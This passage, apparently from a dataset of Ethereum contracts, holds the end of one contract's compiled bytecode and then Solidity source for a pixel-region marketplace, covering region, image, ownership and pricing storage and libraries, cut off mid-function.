2489605a612cf3565b6064612cd8565b95506125373489612d2e565b945061254489338c612aa4565b60035488101561256057612559886002612cf3565b9350612579565b61257661256f89600554612cf3565b6064612cd8565b93505b83600b60008c8152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16141515612607578873ffffffffffffffffffffffffffffffffffffffff166108fc879081150290604051600060405180830381858888f19350505050151561260657600080fd5b5b6126108a611a11565b9250600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508173ffffffffffffffffffffffffffffffffffffffff16636352211e846000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15156126ae57600080fd5b6102c65a03f115156126bf57600080fd5b5050506040518051905090503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561270d575061270b81612a16565b155b15612753578073ffffffffffffffffffffffffffffffffffffffff166108fc889081150290604051600060405180830381858888f19350505050151561275257600080fd5b5b7f23a9360ab6e1a14ec2c4c4bc5a381ee7f6e7024b8b4db4692c15d338bcb179598a898660098e81548110151561278657fe5b90600052602060002090016000018d3360405180878152602001868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281038252858181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156128955780601f1061286a57610100808354040283529160200191612895565b820191906000526020600020905b81548152906001019060200180831161287857829003601f168201915b505097505050505050505060405180910390a13373ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f1935050505015156128e857600080fd5b50505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061299c5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156129a757600080fd5b8060068190555050565b6040805190810160405280600881526020017f4b706f704974656d00000000000000000000000000000000000000000000000081525081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b6000808273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60008273ffffffffffffffffffffffffffffffffffffffff16600d600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b60008373ffffffffffffffffffffffffffffffffffffffff16612ac6836118aa565b73ffffffffffffffffffffffffffffffffffffffff16141515612ae857600080fd5b612af183612a16565b151515612afd57600080fd5b6000612b0885611b11565b111515612b1457600080fd5b612b1d83611b11565b612b2685611b11565b01905082600a600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600190039190505550600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550600d600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690558273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380612cbf84611b11565b612cc886611b11565b01141515612cd257fe5b50505050565b6000808284811515612ce657fe5b0490508091505092915050565b6000806000841415612d085760009150612d27565b8284029050828482811515612d1957fe5b04141515612d2357fe5b8091505b5092915050565b6000828211151515612d3c57fe5b818303905092915050565b602060405190810160405280600081525090565b60c0604051908101604052806006905b6000815260200190600190039081612d6b5790505090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612dc457805160ff1916838001178555612df2565b82800160010185558215612df2579182015b82811115612df1578251825591602001919060010190612dd6565b5b509050612dff9190612eef565b5090565b8260068101928215612e32579160200282015b82811115612e31578251825591602001919060010190612e16565b5b509050612e3f9190612eef565b5090565b815481835581811511612e6a57818360005260206000209182019101612e699190612f14565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612eb057805160ff1916838001178555612ede565b82800160010185558215612ede579182015b82811115612edd578251825591602001919060010190612ec2565b5b509050612eeb9190612eef565b5090565b612f1191905b80821115612f0d576000816000905550600101612ef5565b5090565b90565b612f4091905b80821115612f3c5760008082016000612f339190612f43565b50600101612f1a565b5090565b90565b50805460018160011615610100020316600290046000825580601f10612f695750612f88565b601f016020900490600052602060002090810190612f879190612eef565b5b505600a165627a7a72305820d9af4b217ae3b7293f290fd48613320fd2a7d909473085d70b035e30d0d905130029
[ 19 ]
0xf284e7b147b72200c48efd4d513309b9734a8993
pragma solidity ^0.4.19; library BdpContracts { function getBdpEntryPoint(address[16] _contracts) pure internal returns (address) { return _contracts[0]; } function getBdpController(address[16] _contracts) pure internal returns (address) { return _contracts[1]; } function getBdpControllerHelper(address[16] _contracts) pure internal returns (address) { return _contracts[3]; } function getBdpDataStorage(address[16] _contracts) pure internal returns (address) { return _contracts[4]; } function getBdpImageStorage(address[16] _contracts) pure internal returns (address) { return _contracts[5]; } function getBdpOwnershipStorage(address[16] _contracts) pure internal returns (address) { return _contracts[6]; } function getBdpPriceStorage(address[16] _contracts) pure internal returns (address) { return _contracts[7]; } } contract BdpBaseData { address public ownerAddress; address public managerAddress; address[16] public contracts; bool public paused = false; bool public setupComplete = false; bytes8 public version; } contract BdpBase is BdpBaseData { modifier onlyOwner() { require(msg.sender == ownerAddress); _; } modifier onlyAuthorized() { require(msg.sender == ownerAddress || msg.sender == managerAddress); _; } modifier whenContractActive() { require(!paused && setupComplete); _; } modifier storageAccessControl() { require( (! setupComplete && (msg.sender == ownerAddress || msg.sender == managerAddress)) || (setupComplete && !paused && (msg.sender == BdpContracts.getBdpEntryPoint(contracts))) ); _; } function setOwner(address _newOwner) external onlyOwner { require(_newOwner != address(0)); ownerAddress = _newOwner; } function setManager(address _newManager) external onlyOwner { require(_newManager != address(0)); managerAddress = _newManager; } function setContracts(address[16] _contracts) external onlyOwner { contracts = _contracts; } function pause() external onlyAuthorized { paused = true; } function unpause() external onlyOwner { paused = false; } function setSetupComplete() external onlyOwner { setupComplete = true; } function kill() public onlyOwner { selfdestruct(ownerAddress); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BdpDataStorage is BdpBase { using SafeMath for uint256; struct Region { uint256 x1; uint256 y1; uint256 x2; uint256 y2; uint256 currentImageId; uint256 nextImageId; uint8[128] url; uint256 currentPixelPrice; uint256 blockUpdatedAt; uint256 updatedAt; uint256 purchasedAt; uint256 purchasedPixelPrice; } uint256 public lastRegionId = 0; mapping (uint256 => Region) public data; function getLastRegionId() view public returns (uint256) { return lastRegionId; } function getNextRegionId() public storageAccessControl returns (uint256) { lastRegionId = lastRegionId.add(1); return lastRegionId; } function deleteRegionData(uint256 _id) public storageAccessControl { delete data[_id]; } function getRegionCoordinates(uint256 _id) view public returns (uint256, uint256, uint256, uint256) { return (data[_id].x1, data[_id].y1, data[_id].x2, data[_id].y2); } function setRegionCoordinates(uint256 _id, uint256 _x1, uint256 _y1, uint256 _x2, uint256 _y2) public storageAccessControl { data[_id].x1 = _x1; data[_id].y1 = _y1; data[_id].x2 = _x2; data[_id].y2 = _y2; } function getRegionCurrentImageId(uint256 _id) view public returns (uint256) { return data[_id].currentImageId; } function setRegionCurrentImageId(uint256 _id, uint256 _currentImageId) public storageAccessControl { data[_id].currentImageId = _currentImageId; } function getRegionNextImageId(uint256 _id) view public returns (uint256) { return data[_id].nextImageId; } function setRegionNextImageId(uint256 _id, uint256 _nextImageId) public storageAccessControl { data[_id].nextImageId = _nextImageId; } function getRegionUrl(uint256 _id) view public returns (uint8[128]) { return data[_id].url; } function setRegionUrl(uint256 _id, uint8[128] _url) public storageAccessControl { data[_id].url = _url; } function getRegionCurrentPixelPrice(uint256 _id) view public returns (uint256) { return data[_id].currentPixelPrice; } function setRegionCurrentPixelPrice(uint256 _id, uint256 _currentPixelPrice) public storageAccessControl { data[_id].currentPixelPrice = _currentPixelPrice; } function getRegionBlockUpdatedAt(uint256 _id) view public returns (uint256) { return data[_id].blockUpdatedAt; } function setRegionBlockUpdatedAt(uint256 _id, uint256 _blockUpdatedAt) public storageAccessControl { data[_id].blockUpdatedAt = _blockUpdatedAt; } function getRegionUpdatedAt(uint256 _id) view public returns (uint256) { return data[_id].updatedAt; } function setRegionUpdatedAt(uint256 _id, uint256 _updatedAt) public storageAccessControl { data[_id].updatedAt = _updatedAt; } function getRegionPurchasedAt(uint256 _id) view public returns (uint256) { return data[_id].purchasedAt; } function setRegionPurchasedAt(uint256 _id, uint256 _purchasedAt) public storageAccessControl { data[_id].purchasedAt = _purchasedAt; } function getRegionUpdatedAtPurchasedAt(uint256 _id) view public returns (uint256 _updatedAt, uint256 _purchasedAt) { return (data[_id].updatedAt, data[_id].purchasedAt); } function getRegionPurchasePixelPrice(uint256 _id) view public returns (uint256) { return data[_id].purchasedPixelPrice; } function setRegionPurchasedPixelPrice(uint256 _id, uint256 _purchasedPixelPrice) public storageAccessControl { data[_id].purchasedPixelPrice = _purchasedPixelPrice; } function BdpDataStorage(bytes8 _version) public { ownerAddress = msg.sender; managerAddress = msg.sender; version = _version; } } contract BdpImageStorage is BdpBase { using SafeMath for uint256; struct Image { address owner; uint256 regionId; uint256 currentRegionId; mapping(uint16 => uint256[1000]) data; mapping(uint16 => uint16) dataLength; uint16 partsCount; uint16 width; uint16 height; uint16 imageDescriptor; uint256 blurredAt; } uint256 public lastImageId = 0; mapping(uint256 => Image) public images; function getLastImageId() view public returns (uint256) { return lastImageId; } function getNextImageId() public storageAccessControl returns (uint256) { lastImageId = lastImageId.add(1); return lastImageId; } function createImage(address _owner, uint256 _regionId, uint16 _width, uint16 _height, uint16 _partsCount, uint16 _imageDescriptor) public storageAccessControl returns (uint256) { require(_owner != address(0) && _width > 0 && _height > 0 && _partsCount > 0 && _imageDescriptor > 0); uint256 id = getNextImageId(); images[id].owner = _owner; images[id].regionId = _regionId; images[id].width = _width; images[id].height = _height; images[id].partsCount = _partsCount; images[id].imageDescriptor = _imageDescriptor; return id; } function imageExists(uint256 _imageId) view public returns (bool) { return _imageId > 0 && images[_imageId].owner != address(0); } function deleteImage(uint256 _imageId) public storageAccessControl { require(imageExists(_imageId)); delete images[_imageId]; } function getImageOwner(uint256 _imageId) public view returns (address) { require(imageExists(_imageId)); return images[_imageId].owner; } function setImageOwner(uint256 _imageId, address _owner) public storageAccessControl { require(imageExists(_imageId)); images[_imageId].owner = _owner; } function getImageRegionId(uint256 _imageId) public view returns (uint256) { require(imageExists(_imageId)); return images[_imageId].regionId; } function setImageRegionId(uint256 _imageId, uint256 _regionId) public storageAccessControl { require(imageExists(_imageId)); images[_imageId].regionId = _regionId; } function getImageCurrentRegionId(uint256 _imageId) public view returns (uint256) { require(imageExists(_imageId)); return images[_imageId].currentRegionId; } function setImageCurrentRegionId(uint256 _imageId, uint256 _currentRegionId) public storageAccessControl { require(imageExists(_imageId)); images[_imageId].currentRegionId = _currentRegionId; } function getImageData(uint256 _imageId, uint16 _part) view public returns (uint256[1000]) { require(imageExists(_imageId)); return images[_imageId].data[_part]; } function setImageData(uint256 _imageId, uint16 _part, uint256[] _data) public storageAccessControl { require(imageExists(_imageId)); images[_imageId].dataLength[_part] = uint16(_data.length); for (uint256 i = 0; i < _data.length; i++) { images[_imageId].data[_part][i] = _data[i]; } } function getImageDataLength(uint256 _imageId, uint16 _part) view public returns (uint16) { require(imageExists(_imageId)); return images[_imageId].dataLength[_part]; } function setImageDataLength(uint256 _imageId, uint16 _part, uint16 _dataLength) public storageAccessControl { require(imageExists(_imageId)); images[_imageId].dataLength[_part] = _dataLength; } function getImagePartsCount(uint256 _imageId) view public returns (uint16) { require(imageExists(_imageId)); return images[_imageId].partsCount; } function setImagePartsCount(uint256 _imageId, uint16 _partsCount) public storageAccessControl { require(imageExists(_imageId)); images[_imageId].partsCount = _partsCount; } function getImageWidth(uint256 _imageId) view public returns (uint16) { require(imageExists(_imageId)); return images[_imageId].width; } function setImageWidth(uint256 _imageId, uint16 _width) public storageAccessControl { require(imageExists(_imageId)); images[_imageId].width = _width; } function getImageHeight(uint256 _imageId) view public returns (uint16) { require(imageExists(_imageId)); return images[_imageId].height; } function setImageHeight(uint256 _imageId, uint16 _height) public storageAccessControl { require(imageExists(_imageId)); images[_imageId].height = _height; } function getImageDescriptor(uint256 _imageId) view public returns (uint16) { require(imageExists(_imageId)); return images[_imageId].imageDescriptor; } function setImageDescriptor(uint256 _imageId, uint16 _imageDescriptor) public storageAccessControl { require(imageExists(_imageId)); images[_imageId].imageDescriptor = _imageDescriptor; } function getImageBlurredAt(uint256 _imageId) view public returns (uint256) { return images[_imageId].blurredAt; } function setImageBlurredAt(uint256 _imageId, uint256 _blurredAt) public storageAccessControl { images[_imageId].blurredAt = _blurredAt; } function imageUploadComplete(uint256 _imageId) view public returns (bool) { require(imageExists(_imageId)); for (uint16 i = 1; i <= images[_imageId].partsCount; i++) { if(images[_imageId].data[i].length == 0) { return false; } } return true; } function BdpImageStorage(bytes8 _version) public { ownerAddress = msg.sender; managerAddress = msg.sender; version = _version; } } contract BdpOwnershipStorage is BdpBase { using SafeMath for uint256; // Mapping from token ID to owner mapping (uint256 => address) public tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) public tokenApprovals; // Mapping from owner to the sum of owned area mapping (address => uint256) public ownedArea; // Mapping from owner to list of owned token IDs mapping (address => uint256[]) public ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) public ownedTokensIndex; // All tokens list tokens ids uint256[] public tokenIds; // Mapping from tokenId to index of the tokens list mapping (uint256 => uint256) public tokenIdsIndex; function getTokenOwner(uint256 _tokenId) view public returns (address) { return tokenOwner[_tokenId]; } function setTokenOwner(uint256 _tokenId, address _owner) public storageAccessControl { tokenOwner[_tokenId] = _owner; } function getTokenApproval(uint256 _tokenId) view public returns (address) { return tokenApprovals[_tokenId]; } function setTokenApproval(uint256 _tokenId, address _to) public storageAccessControl { tokenApprovals[_tokenId] = _to; } function getOwnedArea(address _owner) view public returns (uint256) { return ownedArea[_owner]; } function setOwnedArea(address _owner, uint256 _area) public storageAccessControl { ownedArea[_owner] = _area; } function incrementOwnedArea(address _owner, uint256 _area) public storageAccessControl returns (uint256) { ownedArea[_owner] = ownedArea[_owner].add(_area); return ownedArea[_owner]; } function decrementOwnedArea(address _owner, uint256 _area) public storageAccessControl returns (uint256) { ownedArea[_owner] = ownedArea[_owner].sub(_area); return ownedArea[_owner]; } function getOwnedTokensLength(address _owner) view public returns (uint256) { return ownedTokens[_owner].length; } function getOwnedToken(address _owner, uint256 _index) view public returns (uint256) { return ownedTokens[_owner][_index]; } function setOwnedToken(address _owner, uint256 _index, uint256 _tokenId) public storageAccessControl { ownedTokens[_owner][_index] = _tokenId; } function pushOwnedToken(address _owner, uint256 _tokenId) public storageAccessControl returns (uint256) { ownedTokens[_owner].push(_tokenId); return ownedTokens[_owner].length; } function decrementOwnedTokensLength(address _owner) public storageAccessControl { ownedTokens[_owner].length--; } function getOwnedTokensIndex(uint256 _tokenId) view public returns (uint256) { return ownedTokensIndex[_tokenId]; } function setOwnedTokensIndex(uint256 _tokenId, uint256 _tokenIndex) public storageAccessControl { ownedTokensIndex[_tokenId] = _tokenIndex; } function getTokenIdsLength() view public returns (uint256) { return tokenIds.length; } function getTokenIdByIndex(uint256 _index) view public returns (uint256) { return tokenIds[_index]; } function setTokenIdByIndex(uint256 _index, uint256 _tokenId) public storageAccessControl { tokenIds[_index] = _tokenId; } function pushTokenId(uint256 _tokenId) public storageAccessControl returns (uint256) { tokenIds.push(_tokenId); return tokenIds.length; } function decrementTokenIdsLength() public storageAccessControl { tokenIds.length--; } function getTokenIdsIndex(uint256 _tokenId) view public returns (uint256) { return tokenIdsIndex[_tokenId]; } function setTokenIdsIndex(uint256 _tokenId, uint256 _tokenIdIndex) public storageAccessControl { tokenIdsIndex[_tokenId] = _tokenIdIndex; } function BdpOwnershipStorage(bytes8 _version) public { ownerAddress = msg.sender; managerAddress = msg.sender; version = _version; } } contract BdpPriceStorage is BdpBase { uint64[1001] public pricePoints; uint256 public pricePointsLength = 0; address public forwardPurchaseFeesTo = address(0); address public forwardUpdateFeesTo = address(0); function getPricePointsLength() view public returns (uint256) { return pricePointsLength; } function getPricePoint(uint256 _i) view public returns (uint256) { return pricePoints[_i]; } function setPricePoints(uint64[] _pricePoints) public storageAccessControl { pricePointsLength = 0; appendPricePoints(_pricePoints); } function appendPricePoints(uint64[] _pricePoints) public storageAccessControl { for (uint i = 0; i < _pricePoints.length; i++) { pricePoints[pricePointsLength++] = _pricePoints[i]; } } function getForwardPurchaseFeesTo() view public returns (address) { return forwardPurchaseFeesTo; } function setForwardPurchaseFeesTo(address _forwardPurchaseFeesTo) public storageAccessControl { forwardPurchaseFeesTo = _forwardPurchaseFeesTo; } function getForwardUpdateFeesTo() view public returns (address) { return forwardUpdateFeesTo; } function setForwardUpdateFeesTo(address _forwardUpdateFeesTo) public storageAccessControl { forwardUpdateFeesTo = _forwardUpdateFeesTo; } function BdpPriceStorage(bytes8 _version) public { ownerAddress = msg.sender; managerAddress = msg.sender; version = _version; } } library BdpCalculator { using SafeMath for uint256; function calculateArea(address[16] _contracts, uint256 _regionId) view public returns (uint256 _area, uint256 _width, uint256 _height) { var (x1, y1, x2, y2) = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionCoordinates(_regionId); _width = x2 - x1 + 1; _height = y2 - y1 + 1; _area = _width * _height; } function countPurchasedPixels(address[16] _contracts) view public returns (uint256 _count) { var lastRegionId = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getLastRegionId(); for (uint256 i = 0; i <= lastRegionId; i++) { if(BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionPurchasedAt(i) > 0) { // region is purchased var (area,,) = calculateArea(_contracts, i); _count += area; } } } function calculateCurrentMarketPixelPrice(address[16] _contracts) view public returns(uint) { return calculateMarketPixelPrice(_contracts, countPurchasedPixels(_contracts)); } function calculateMarketPixelPrice(address[16] _contracts, uint _pixelsSold) view public returns(uint) { var pricePointsLength = BdpPriceStorage(BdpContracts.getBdpPriceStorage(_contracts)).getPricePointsLength(); uint mod = _pixelsSold % (1000000 / (pricePointsLength - 1)); uint div = _pixelsSold * (pricePointsLength - 1) / 1000000; var divPoint = BdpPriceStorage(BdpContracts.getBdpPriceStorage(_contracts)).getPricePoint(div); if(mod == 0) return divPoint; return divPoint + mod * (BdpPriceStorage(BdpContracts.getBdpPriceStorage(_contracts)).getPricePoint(div+1) - divPoint) * (pricePointsLength - 1) / 1000000; } function calculateAveragePixelPrice(address[16] _contracts, uint _a, uint _b) view public returns (uint _price) { _price = (calculateMarketPixelPrice(_contracts, _a) + calculateMarketPixelPrice(_contracts, _b)) / 2; } /** Current market price per pixel for this region if it is the first sale of this region */ function calculateRegionInitialSalePixelPrice(address[16] _contracts, uint256 _regionId) view public returns (uint256) { require(BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionUpdatedAt(_regionId) > 0); // region exists var purchasedPixels = countPurchasedPixels(_contracts); var (area,,) = calculateArea(_contracts, _regionId); return calculateAveragePixelPrice(_contracts, purchasedPixels, purchasedPixels + area); } /** Current market price or (Current market price)*3 if the region was sold */ function calculateRegionSalePixelPrice(address[16] _contracts, uint256 _regionId) view public returns (uint256) { var pixelPrice = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionCurrentPixelPrice(_regionId); if(pixelPrice > 0) { return pixelPrice * 3; } else { return calculateRegionInitialSalePixelPrice(_contracts, _regionId); } } /** Setup is allowed one whithin one day after purchase */ function calculateSetupAllowedUntil(address[16] _contracts, uint256 _regionId) view public returns (uint256) { var (updatedAt, purchasedAt) = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionUpdatedAtPurchasedAt(_regionId); if(updatedAt != purchasedAt) { return 0; } else { return purchasedAt + 1 days; } } } library BdpImage { function checkImageInput(address[16] _contracts, uint256 _regionId, uint256 _imageId, uint256[] _imageData, bool _swapImages, bool _clearImage) view public { var dataStorage = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)); var imageStorage = BdpImageStorage(BdpContracts.getBdpImageStorage(_contracts)); require( (_imageId == 0 && _imageData.length == 0 && !_swapImages && !_clearImage) // Only one way to change image can be specified || (_imageId != 0 && _imageData.length == 0 && !_swapImages && !_clearImage) // If image has to be changed || (_imageId == 0 && _imageData.length != 0 && !_swapImages && !_clearImage) || (_imageId == 0 && _imageData.length == 0 && _swapImages && !_clearImage) || (_imageId == 0 && _imageData.length == 0 && !_swapImages && _clearImage) ); require(_imageId == 0 || // Can use only own images not used by other regions ( (msg.sender == imageStorage.getImageOwner(_imageId)) && (imageStorage.getImageCurrentRegionId(_imageId) == 0) ) ); var nextImageId = dataStorage.getRegionNextImageId(_regionId); require(!_swapImages || imageStorage.imageUploadComplete(nextImageId)); // Can swap images if next image upload is complete } function setNextImagePart(address[16] _contracts, uint256 _regionId, uint16 _part, uint16 _partsCount, uint16 _imageDescriptor, uint256[] _imageData) public { var dataStorage = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)); var imageStorage = BdpImageStorage(BdpContracts.getBdpImageStorage(_contracts)); require(BdpOwnership.ownerOf(_contracts, _regionId) == msg.sender); require(_imageData.length != 0); require(_part > 0); require(_part <= _partsCount); var nextImageId = dataStorage.getRegionNextImageId(_regionId); if(nextImageId == 0 || _imageDescriptor != imageStorage.getImageDescriptor(nextImageId)) { var (, width, height) = BdpCalculator.calculateArea(_contracts, _regionId); nextImageId = imageStorage.createImage(msg.sender, _regionId, uint16(width), uint16(height), _partsCount, _imageDescriptor); dataStorage.setRegionNextImageId(_regionId, nextImageId); } imageStorage.setImageData(nextImageId, _part, _imageData); } function setImageOwner(address[16] _contracts, uint256 _imageId, address _owner) public { var imageStorage = BdpImageStorage(BdpContracts.getBdpImageStorage(_contracts)); require(imageStorage.getImageOwner(_imageId) == msg.sender); require(_owner != address(0)); imageStorage.setImageOwner(_imageId, _owner); } function setImageData(address[16] _contracts, uint256 _imageId, uint16 _part, uint256[] _imageData) public returns (address) { var imageStorage = BdpImageStorage(BdpContracts.getBdpImageStorage(_contracts)); require(imageStorage.getImageOwner(_imageId) == msg.sender); require(imageStorage.getImageCurrentRegionId(_imageId) == 0); require(_imageData.length != 0); require(_part > 0); require(_part <= imageStorage.getImagePartsCount(_imageId)); imageStorage.setImageData(_imageId, _part, _imageData); } } library BdpOwnership { using SafeMath for uint256; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); function ownerOf(address[16] _contracts, uint256 _tokenId) public view returns (address) { var owner = BdpOwnershipStorage(BdpContracts.getBdpOwnershipStorage(_contracts)).getTokenOwner(_tokenId); require(owner != address(0)); return owner; } function balanceOf(address[16] _contracts, address _owner) public view returns (uint256) { return BdpOwnershipStorage(BdpContracts.getBdpOwnershipStorage(_contracts)).getOwnedTokensLength(_owner); } function approve(address[16] _contracts, address _to, uint256 _tokenId) public { var ownStorage = BdpOwnershipStorage(BdpContracts.getBdpOwnershipStorage(_contracts)); address owner = ownerOf(_contracts, _tokenId); require(_to != owner); if (ownStorage.getTokenApproval(_tokenId) != 0 || _to != 0) { ownStorage.setTokenApproval(_tokenId, _to); Approval(owner, _to, _tokenId); } } /** * @dev Clear current approval of a given token ID * @param _tokenId uint256 ID of the token to be transferred */ function clearApproval(address[16] _contracts, address _owner, uint256 _tokenId) public { var ownStorage = BdpOwnershipStorage(BdpContracts.getBdpOwnershipStorage(_contracts)); require(ownerOf(_contracts, _tokenId) == _owner); if (ownStorage.getTokenApproval(_tokenId) != 0) { BdpOwnershipStorage(BdpContracts.getBdpOwnershipStorage(_contracts)).setTokenApproval(_tokenId, 0); Approval(_owner, 0, _tokenId); } } /** * @dev Clear current approval and transfer the ownership of a given token ID * @param _from address which you want to send tokens from * @param _to address which you want to transfer the token to * @param _tokenId uint256 ID of the token to be transferred */ function clearApprovalAndTransfer(address[16] _contracts, address _from, address _to, uint256 _tokenId) public { require(_to != address(0)); require(_to != ownerOf(_contracts, _tokenId)); require(ownerOf(_contracts, _tokenId) == _from); clearApproval(_contracts, _from, _tokenId); removeToken(_contracts, _from, _tokenId); addToken(_contracts, _to, _tokenId); Transfer(_from, _to, _tokenId); } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addToken(address[16] _contracts, address _to, uint256 _tokenId) private { var ownStorage = BdpOwnershipStorage(BdpContracts.getBdpOwnershipStorage(_contracts)); require(ownStorage.getTokenOwner(_tokenId) == address(0)); // Set token owner ownStorage.setTokenOwner(_tokenId, _to); // Add token to tokenIds list var tokenIdsLength = ownStorage.pushTokenId(_tokenId); ownStorage.setTokenIdsIndex(_tokenId, tokenIdsLength.sub(1)); uint256 ownedTokensLength = ownStorage.getOwnedTokensLength(_to); // Add token to ownedTokens list ownStorage.pushOwnedToken(_to, _tokenId); ownStorage.setOwnedTokensIndex(_tokenId, ownedTokensLength); // Increment total owned area var (area,,) = BdpCalculator.calculateArea(_contracts, _tokenId); ownStorage.incrementOwnedArea(_to, area); } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeToken(address[16] _contracts, address _from, uint256 _tokenId) private { var ownStorage = BdpOwnershipStorage(BdpContracts.getBdpOwnershipStorage(_contracts)); require(ownerOf(_contracts, _tokenId) == _from); // Clear token owner ownStorage.setTokenOwner(_tokenId, 0); removeFromTokenIds(ownStorage, _tokenId); removeFromOwnedToken(ownStorage, _from, _tokenId); // Decrement total owned area var (area,,) = BdpCalculator.calculateArea(_contracts, _tokenId); ownStorage.decrementOwnedArea(_from, area); } /** * @dev Remove token from ownedTokens list * Note that this will handle single-element arrays. In that case, both ownedTokenIndex and lastOwnedTokenIndex are going to * be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping * the lastOwnedToken to the first position, and then dropping the element placed in the last position of the list */ function removeFromOwnedToken(BdpOwnershipStorage _ownStorage, address _from, uint256 _tokenId) private { var ownedTokenIndex = _ownStorage.getOwnedTokensIndex(_tokenId); var lastOwnedTokenIndex = _ownStorage.getOwnedTokensLength(_from).sub(1); var lastOwnedToken = _ownStorage.getOwnedToken(_from, lastOwnedTokenIndex); _ownStorage.setOwnedToken(_from, ownedTokenIndex, lastOwnedToken); _ownStorage.setOwnedToken(_from, lastOwnedTokenIndex, 0); _ownStorage.decrementOwnedTokensLength(_from); _ownStorage.setOwnedTokensIndex(_tokenId, 0); _ownStorage.setOwnedTokensIndex(lastOwnedToken, ownedTokenIndex); } /** * @dev Remove token from tokenIds list */ function removeFromTokenIds(BdpOwnershipStorage _ownStorage, uint256 _tokenId) private { var tokenIndex = _ownStorage.getTokenIdsIndex(_tokenId); var lastTokenIdIndex = _ownStorage.getTokenIdsLength().sub(1); var lastTokenId = _ownStorage.getTokenIdByIndex(lastTokenIdIndex); _ownStorage.setTokenIdByIndex(tokenIndex, lastTokenId); _ownStorage.setTokenIdByIndex(lastTokenIdIndex, 0); _ownStorage.decrementTokenIdsLength(); _ownStorage.setTokenIdsIndex(_tokenId, 0); _ownStorage.setTokenIdsIndex(lastTokenId, tokenIndex); } /** * @dev Mint token function * @param _to The address that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function mint(address[16] _contracts, address _to, uint256 _tokenId) public { require(_to != address(0)); addToken(_contracts, _to, _tokenId); Transfer(address(0), _to, _tokenId); } /** * @dev Burns a specific token * @param _tokenId uint256 ID of the token being burned */ function burn(address[16] _contracts, uint256 _tokenId) public { address owner = BdpOwnershipStorage(BdpContracts.getBdpOwnershipStorage(_contracts)).getTokenOwner(_tokenId); clearApproval(_contracts, owner, _tokenId); removeToken(_contracts, owner, _tokenId); Transfer(owner, address(0), _tokenId); } } library BdpCrud { function createRegion(address[16] _contracts, address _to, uint256 _x1, uint256 _y1, uint256 _x2, uint256 _y2) public returns (uint256) { var dataStorage = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)); require(_x2 < 1000 && _x1 <= _x2); require(_y2 < 1000 && _y1 <= _y2); var regionId = dataStorage.getNextRegionId(); dataStorage.setRegionCoordinates(regionId, _x1, _y1, _x2, _y2); dataStorage.setRegionBlockUpdatedAt(regionId, block.number); dataStorage.setRegionUpdatedAt(regionId, block.timestamp); BdpOwnership.mint(_contracts, _to, regionId); return regionId; } function deleteRegion(address[16] _contracts, uint256 _regionId) 